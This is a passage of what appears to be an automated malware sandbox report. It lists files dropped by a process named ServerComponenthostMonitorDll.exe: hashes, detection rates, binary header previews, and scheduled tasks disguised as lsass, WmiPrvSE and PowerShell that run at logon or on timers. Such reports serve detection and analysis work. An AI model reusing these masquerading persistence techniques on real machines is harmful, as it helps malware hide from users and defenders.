SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\OMvfRcDl.log

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QWRgRujm.log

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\gYWllyYA.log

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\nWKkNNTp.log

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qHqBUadh.log

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	4926
Entropy (8bit):	3.243304046996453
Encrypted:	false
SSDEEP:	48:FaqdF79/0+AAHdKoqKFxcxkF3/waqdF7av+AAHdKoqKFxcxkFk1:cEi+AAsoJjykzEK+AAsoJjykk
MD5:	4DD3247F95A69791EDE9F97E33B14709
SHA1:	A5090693EB6F5BF8B3594642DA3DD8A91ABD7A4A
SHA-256:	FB0CB2EA577E1230CA5204FE6780FF7858CF42B886B599151CC0C8D5388A2E1D
SHA-512:	D2BCE87DE34D08DED456FB723973C6FD2548205A13AB718F07BB744216B4C6945356596D5764FBD26841CE7B7D5C2C407B3FABBAE006B70C0FCEB2F3416B88F1
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. W.e.d. .. O.c.t. .. 0.4. .. 2.0.2.3. .1.2.:.0.3.:.4.2.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

C:\Windows\System32\CSCC4EE3A879404710AD2E4883A563BED.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9329312984335436
Encrypted:	false
SSDEEP:	48:6ZJXPtKM7Jt8Bs3FJsdcV4MKe27yFSvqBHqOulajfqXSfbNtm:8PRPc+Vx9MyFSvkUcjRzNt
MD5:	0925BDBA2505EEC02A21439F3F00FE7C
SHA1:	81B60CFF2B387224A78224C08002079826EBC035
SHA-256:	84B0182A92A393BDB603117D9F1AC2ADC497BBF5A4E06961AF375248E94B1BF6
SHA-512:	D983D7A23EB2E5387C67DEB7D76AB18B01E43480FA62F1B607F2493E106B7099CB6383153446C7178F1D8F49220D9A5678DEF3360AE78B7DFA4F956674D2E0C3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....!.g.............................'... ...@....@.. ....................................@.................................@'..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................p'......H.......(!................................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\Windows\System32\Tasks\ServerComponenthostMonitorDll

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3346
Entropy (8bit):	3.586413372825946
Encrypted:	false
SSDEEP:	96:tkvLHpnRiDEpnBnknNGki3igVA9ll7dhFNt7+:qRh/yNw3Urhp+
MD5:	51DC80F0CEF382216033545071CDE098
SHA1:	153129A083F89257908E964DAA307864FE4CE88F
SHA-256:	F534705D703072BA90C52C846DFB6B1A1DC98CF61AEF3DD4254B5EA0E0D0CC1D
SHA-512:	D640BFEA607A29A27ED26C889EE5817A3F7DABE0A4B5DB1C867C59D97173F95C323DDA4ADD613E7A9E3DC9DD7021090F66035B66DEFC86953EBCC3DCACEF8B2C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.4.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.S.e.r.v.e.r.C.o.m.p.o.n.e.n.t.h.o.s.t.M.o.n.i.t.o.r.D.l.l.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.L.o.g.o.n.T.r.i.g.g.e.r.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . . . .<.E.n.a.b.l.e.d.>.t.r.u.e.<./.E.n.a.b.l.e.d.>..... . . . .<./.L.o.g.o.n.T.r.i.g.g.e.r.>..... . .<./.T.r.i.g.g.e.r.s.>..... . .<.P.r.i.n.c.i.p.a.l.s.>..... . . . .<.P.r.i.n.c.i.p.a.l. .i.d.=.".A.u.t.h.o.r.".>..... . . .

C:\Windows\System32\Tasks\ServerComponenthostMonitorDllS

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	3604
Entropy (8bit):	3.568664719439722
Encrypted:	false
SSDEEP:	96:tkvLkZdRiDenBnknNGki3igVA9ll7dhFNt7+:xZdRxyNw3Urhp+
MD5:	19A67E86606007DE3081E8C6A060D0A3
SHA1:	1B106806DFC7DEF4DA997568191E67377D633ED7
SHA-256:	77F92BB6E2E171A920FAC8753C3F229E35BF4B38A7F0279EB6454419E0F168DC
SHA-512:	FF3BED5165AC12A6D7793A2F2FDC7FD9C2265CF8012435D1CFA44F2FC37D27D7719CD1EB8537E8F494BD3CC039FC1E1A941D522C3CBFDC33AA91C031F159A0A5
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.4.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.S.e.r.v.e.r.C.o.m.p.o.n.e.n.t.h.o.s.t.M.o.n.i.t.o.r.D.l.l.S.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.T.i.m.e.T.r.i.g.g.e.r.>..... . . . . . .<.R.e.p.e.t.i.t.i.o.n.>..... . . . . . . . .<.I.n.t.e.r.v.a.l.>.P.T.9.M.<./.I.n.t.e.r.v.a.l.>..... . . . . . . . .<.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>.f.a.l.s.e.<./.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>..... . . . . . .<./.R.e.p.e.t.i.t.i.o.n.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.

C:\Windows\System32\Tasks\WmiPrvSE

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3262
Entropy (8bit):	3.5962895789243126
Encrypted:	false
SSDEEP:	96:tkvGnRiDEpnBnknNGki3igVA9ll7dhFnO+:PRh/yNw3UrhE+
MD5:	51FF15C77EFB49C208193E4D58D49C10
SHA1:	66E0944B8A1BFA082EB473C0E8DCE3C1DDB4C1AF
SHA-256:	6C3203980FC09349F1F58BDBA460F470313DEE16DA8A684B250940CEA326AA16
SHA-512:	3F0A2A3820FEE1A1826107BFEC3BA2B9CFD2F1F5A8631DB37FB118247C83B0428716796556177DB4039BF75D2D444EEED0A60EEC5D9AAD941E185BC9D90941A9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.4.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.W.m.i.P.r.v.S.E.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.L.o.g.o.n.T.r.i.g.g.e.r.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . . . .<.E.n.a.b.l.e.d.>.t.r.u.e.<./.E.n.a.b.l.e.d.>..... . . . .<./.L.o.g.o.n.T.r.i.g.g.e.r.>..... . .<./.T.r.i.g.g.e.r.s.>..... . .<.P.r.i.n.c.i.p.a.l.s.>..... . . . .<.P.r.i.n.c.i.p.a.l. .i.d.=.".A.u.t.h.o.r.".>..... . . . . . .<.R.u.n.L.e.v.e.l.>.H.i.g.h.e.s.t.A.

C:\Windows\System32\Tasks\WmiPrvSEW

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3520
Entropy (8bit):	3.577043330177648
Encrypted:	false
SSDEEP:	96:tkv3XdRiDenBnknNGki3igVA9ll7dhFnO+:GXdRxyNw3UrhE+
MD5:	65480DCAD8BABEB6C6D7C6500D62908A
SHA1:	A26BA59E1E8AD136FB32FE6241412D41CC05ED89
SHA-256:	65287E8D3604D2109E58FFFA32B7FF03E88FFE1EF9D053578227B882E8122009
SHA-512:	87757C121E24593A9CD0EB333C0689258A086464EC271A32B9BF1584421372F2F2E226EC0F3CE4EC42B5C48E32A520927E346DB809EDD7ED17DDAE1583FEF792
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.4.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.W.m.i.P.r.v.S.E.W.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.T.i.m.e.T.r.i.g.g.e.r.>..... . . . . . .<.R.e.p.e.t.i.t.i.o.n.>..... . . . . . . . .<.I.n.t.e.r.v.a.l.>.P.T.7.M.<./.I.n.t.e.r.v.a.l.>..... . . . . . . . .<.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>.f.a.l.s.e.<./.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>..... . . . . . .<./.R.e.p.e.t.i.t.i.o.n.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . . . .

C:\Windows\System32\Tasks\lsass

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3250
Entropy (8bit):	3.584553780768116
Encrypted:	false
SSDEEP:	96:t7v5nRiDEpnBnknNGki3igVA9ll7dhFNd+:HRh/yNw3Urh1+
MD5:	055B10136D8FC17D7738660774ABD4A8
SHA1:	8E8F8A14BF6E1897AF6EA91B8671876F0CD4A8B5
SHA-256:	F7A5940D21F1373972F1A73F79EC875A88773FD2F2B75246BACA96850286B9AD
SHA-512:	2D591B17ED33475991103752FD5FE93CA4FD87DB9443AE1935D41B55DCF64F26BF03914C3926720BA9F97509A33ACE81669891F6EEAB5C0EEEC482A3A16FBF94
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.3.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.l.s.a.s.s.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.L.o.g.o.n.T.r.i.g.g.e.r.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . . . .<.E.n.a.b.l.e.d.>.t.r.u.e.<./.E.n.a.b.l.e.d.>..... . . . .<./.L.o.g.o.n.T.r.i.g.g.e.r.>..... . .<./.T.r.i.g.g.e.r.s.>..... . .<.P.r.i.n.c.i.p.a.l.s.>..... . . . .<.P.r.i.n.c.i.p.a.l. .i.d.=.".A.u.t.h.o.r.".>..... . . . . . .<.R.u.n.L.e.v.e.l.>.H.i.g.h.e.s.t.A.v.a.i.

C:\Windows\System32\Tasks\lsassl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3508
Entropy (8bit):	3.5663602712823317
Encrypted:	false
SSDEEP:	96:t7vTvZdRiDenBnknNGki3igVA9ll7dhFNd+:FZdRxyNw3Urh1+
MD5:	41D2CC906881EF90A46F17545501EBAE
SHA1:	E7E146BC2536F6A57C6F737D28BE4CE7E3399187
SHA-256:	CF19B68EBB84EDE26477CFE79D815150E605D054D1C16FDFDFE2ACAB939E4339
SHA-512:	DC89F8ECBCF075A0B92FEE75EA47404F9DD7CA5C2803E23652E00F316206276756EBF36B86F66BD76AF15C399EBDCAEC2F211D7239B212EA9DD37AA0568D05D2
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.T.a.s.k. .v.e.r.s.i.o.n.=.".1...2.". .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n.d.o.w.s./.2.0.0.4./.0.2./.m.i.t./.t.a.s.k.".>..... . .<.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . . . .<.D.a.t.e.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.3.3.<./.D.a.t.e.>..... . . . .<.A.u.t.h.o.r.>.J.O.N.E.S.-.P.C.\.j.o.n.e.s.<./.A.u.t.h.o.r.>..... . . . .<.U.R.I.>.\.l.s.a.s.s.l.<./.U.R.I.>..... . .<./.R.e.g.i.s.t.r.a.t.i.o.n.I.n.f.o.>..... . .<.T.r.i.g.g.e.r.s.>..... . . . .<.T.i.m.e.T.r.i.g.g.e.r.>..... . . . . . .<.R.e.p.e.t.i.t.i.o.n.>..... . . . . . . . .<.I.n.t.e.r.v.a.l.>.P.T.9.M.<./.I.n.t.e.r.v.a.l.>..... . . . . . . . .<.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>.f.a.l.s.e.<./.S.t.o.p.A.t.D.u.r.a.t.i.o.n.E.n.d.>..... . . . . . .<./.R.e.p.e.t.i.t.i.o.n.>..... . . . . . .<.S.t.a.r.t.B.o.u.n.d.a.r.y.>.2.0.2.5.-.0.1.-.1.3.T.0.7.:.4.0.:.0.0.<./.S.t.a.r.t.B.o.u.n.d.a.r.y.>..... . . . . . .<.E.n.

C:\Windows\System32\Tasks\powershellp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	3536
Entropy (8bit):	3.57122151569413
Encrypted:	false
SSDEEP:	96:tyvwtdRiDenBnknNGki3igVA9ll7dhFno+:3tdRxyNw3Urhi+
MD5:	078EAB7432C4619E8DAC48A7919B2B6A
SHA1:	99C14EC0897D65FA8F76B5C065B226A296F5AF30
SHA-256:	6445D4912C0CE9FFE448A850BBA16DC7EB86A6E7CB86B22C6501504882CFF5CA
